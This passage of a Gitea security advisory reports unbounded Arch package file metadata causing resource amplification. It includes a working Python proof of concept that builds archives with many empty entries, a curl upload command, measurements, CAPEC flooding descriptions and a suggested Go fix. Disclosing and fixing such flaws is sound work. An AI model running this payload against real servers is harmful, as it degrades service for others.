`routers/api/packages/arch/arch.go:46` accepts the upload stream.\n* `routers/api/packages/arch/arch.go:55` copies the upload into a `HashedBuffer`.\n* `routers/api/packages/arch/arch.go:62` parses the archive with `arch_module.ParsePackage`.\n* `modules/packages/arch/metadata.go:149` appends each non-dot regular tar entry name to `files`.\n* `modules/packages/arch/metadata.go:158` stores the full list as `p.FileMetadata.Files`.\n* `routers/api/packages/arch/arch.go:77` JSON-marshals the file metadata.\n* `routers/api/packages/arch/arch.go:143` persists the metadata as `arch_module.PropertyMetadata`.\n* `services/packages/arch/repository.go:302` deserializes the metadata during index generation.\n* `services/packages/arch/repository.go:365` joins the full file list into the generated `files` entry.\n\nFrom my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.\n\n## Impact\n\nAn authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid `.PKGINFO` file and a large number of empty regular file entries.\n\nIn my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository `files` index content to become much larger than the compressed upload size.\n\nThe practical impact appears to be resource amplification affecting:\n\n* CPU usage during parsing and index generation\n* memory usage during metadata handling\n* database storage due to large serialized metadata\n* repository index generation size and processing time\n\nThis seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.\n\n## Local Validation Results\n\nI tested this only on a local self-hosted Gitea instance.\n\nA 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte `arch.metadata` database property and a generated repository index whose `files` member contained 100,001 lines.\n\nA larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte `arch.metadata` database property and a generated repository `files` member with 500,001 lines.\n\n## Proof of Concept\n\nThe following proof of concept is intended only for a local self-hosted test instance.\n\nSave the following script as `generate_arch_metadata_test_package.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport gzip\nimport io\nimport tarfile\nfrom pathlib import Path\n\nPKGINFO = \"\"\"pkgname = gitea-metadata-test\npkgbase = gitea-metadata-test\npkgver = 1.0.0-1\npkgdesc = Local metadata scaling test package\nurl = https://example.invalid/\npackager = local test\narch = x86_64\nlicense = MIT\nbuilddate = 1714521600\nsize = 0\n\"\"\"\n\ndef add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -\u003e None:\n    info = tarfile.TarInfo(name=name)\n    info.size = len(data)\n    info.mode = 0o644\n    tar.addfile(info, io.BytesIO(data))\n\ndef build_archive(output: Path, entries: int, name_width: int) -\u003e None:\n    output.parent.mkdir(parents=True, exist_ok=True)\n    with output.open(\"wb\") as raw:\n        with gzip.GzipFile(fileobj=raw, mode=\"wb\", compresslevel=9, mtime=0) as gz:\n            with tarfile.open(fileobj=gz, mode=\"w|\") as tar:\n                add_bytes(tar, \".PKGINFO\", PKGINFO.encode(\"utf-8\"))\n                for i in range(entries):\n                    name = f\"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt\"\n                    add_bytes(tar, name, b\"\")\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(\n        description=\"Generate a local Arch package test archive with many empty file entries.\",\n    )\n    parser.add_argument(\"--entries\", type=int, default=100000)\n    parser.add_argument(\"--name-width\", type=int, default=8)\n    parser.add_argument(\"--output\", type=Path, default=Path(\"gitea-metadata-test.pkg.tar.gz\"))\n    args = parser.parse_args()\n\n    if args.entries \u003c 1:\n        raise SystemExit(\"--entries must be at least 1\")\n    if args.name_width \u003c 1:\n        raise SystemExit(\"--name-width must be at least 1\")\n\n    build_archive(args.output, args.entries, args.name_width)\n    print(f\"wrote {args.output} with {args.entries} regular file entries\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nGenerate a test archive:\n\n```bash\npython3 generate_arch_metadata_test_package.py \\\n  --entries 100000 \\\n  --output gitea-metadata-test-100k.pkg.tar.gz\n```\n\nUpload it to a local Gitea test instance with package publishing enabled:\n\n```bash\ncurl -X PUT \\\n  -H \"Authorization: token \u003cTOKEN\u003e\" \\\n  --upload-file gitea-metadata-test-100k.pkg.tar.gz \\\n  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo\n```\n\nObserved local result:\n\n```text\nHTTP_STATUS=201\nTIME_TOTAL=0.482909\nSIZE_UPLOAD=470403\n```\n\n## Additional Validation\n\nParser-only measurements:\n\n| Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time |\n| ------: | -----------------------: | ------------------: | ------------------: | -----------------: | ---------: |\n|      25 |                      477 |                  25 |               1,237 |              1,074 |       0 ms |\n|  10,000 |                   47,461 |              10,000 |             450,112 |            429,999 |      25 ms |\n| 100,000 |                  470,403 |             100,000 |           4,500,112 |          4,299,999 |     264 ms |\n\nLocal Gitea upload measurements:\n\n| Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted `files` lines |\n| ------: | -----------------: | ----------: | -------------: | --------------------: | ----------------: | --------------------------: | ----------------------: |\n|  10,000 |                201 |     0.243 s |         47,461 |               450,112 |            10,000 |                      27,267 |                  10,001 |\n| 100,000 |                201 |     0.483 s |        470,403 |             4,500,112 |           100,000 |                     262,301 |                 100,001 |\n| 500,000 |                201 |     1.798 s |      2,349,767 |            22,500,112 |           500,000 |                   1,306,465 |                 500,001 |\n\n## Package Size Limit Behavior\n\nI also tested `LIMIT_SIZE_ARCH=1MiB` with a non-admin package publisher.\n\n| Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes                                                                    |\n| ------: | -----------: | -----------------: | --------------------: | ------------------------------------------------------------------------ |\n| 100,000 |      470,403 |                201 |             4,500,112 | Accepted because the compressed upload was below the package size limit. |\n| 500,000 |    2,349,767 |                403 |            not stored | Rejected with `maximum allowed package type size exceeded`.              |\n\nThis suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.\n\n## Expected Behavior\n\nGitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.\n\n## Suggested Remediation\n\nOne possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.\n\nPotential controls could include:\n\n* limiting the maximum number of regular file entries recorded in `FileMetadata.Files`\n* limiting the cumulative byte length of recorded file names\n* returning a clear 4xx validation error when an uploaded package exceeds those limits\n* optionally making these limits configurable for instance operators\n* adding regression tests for excessive file-entry count and excessive cumulative file-name size\n\nFor example, the validation could follow this general shape:\n\n```go\nconst (\n\tmaxArchMetadataFiles = 10000\n\tmaxArchMetadataFileNameBytes = 1 \u003c\u003c 20\n)\n\nvar totalFileNameBytes int\n\n// inside the tar entry loop\nif !strings.HasPrefix(filename, \".\") {\n\ttotalFileNameBytes += len(hd.Name)\n\tif len(files) \u003e= maxArchMetadataFiles || totalFileNameBytes \u003e maxArchMetadataFileNameBytes {\n\t\treturn nil, util.NewInvalidArgumentErrorf(\"arch package file metadata exceeds limit\")\n\t}\n\tfiles = append(files, hd.Name)\n}\n```\n\nThis is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.\n\n## Closing\n\nThank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.\n\nI appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.",
  "id": "GHSA-9mq6-mqjj-c2c5",
  "modified": "2026-07-21T20:20:49Z",
  "published": "2026-07-21T20:20:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-9mq6-mqjj-c2c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads"
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.